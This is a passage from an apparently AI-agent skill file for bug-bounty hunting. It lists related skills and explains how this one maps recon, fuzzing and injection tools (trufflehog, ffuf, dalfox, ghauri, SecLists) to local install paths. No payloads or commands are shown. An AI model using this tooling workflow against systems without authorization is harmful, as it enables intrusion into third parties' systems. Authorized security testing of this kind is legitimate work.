in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.15621563---15641565## Related Skills & Chains15661567- **`bug-bounty`** — When the user wants general bug-bounty guidance rather than tool location. Workflow primitive: `bug-bounty` is the orchestrator and routes to topic-matched hunt-* skills; this skill (`bb-local-toolkit`) answers "where is the tool / wordlist / clone on disk for that hunt?"1568- **`web2-recon`** — When recon needs to be run via specific tool invocations. Workflow primitive: this skill names the local install path (e.g., `~/tools/SecretFinder/.venv/bin/activate`); `web2-recon` is the pipeline that strings those tool paths together.1569- **`offensive-osint`** — When the operational arsenal (probes, regexes, wordlists) needs a tool to execute it. Workflow primitive: `offensive-osint` provides the regex / probe; this skill provides the local trufflehog / jhaddix / SecLists clone that runs it.1570- **`security-arsenal`** — When the payload library needs a tool to fire payloads at scale. Workflow primitive: `security-arsenal` is the payload syntax; this skill names the ffuf / dalfox / ghauri install that delivers them.1571- **`bb-methodology`** — When Phase 1 (Recon) or Phase 3 (Discovery) needs tooling routed. Workflow primitive: `bb-methodology`'s "Tool Routing by Phase" table is general; this skill resolves the abstract tool names to concrete local paths.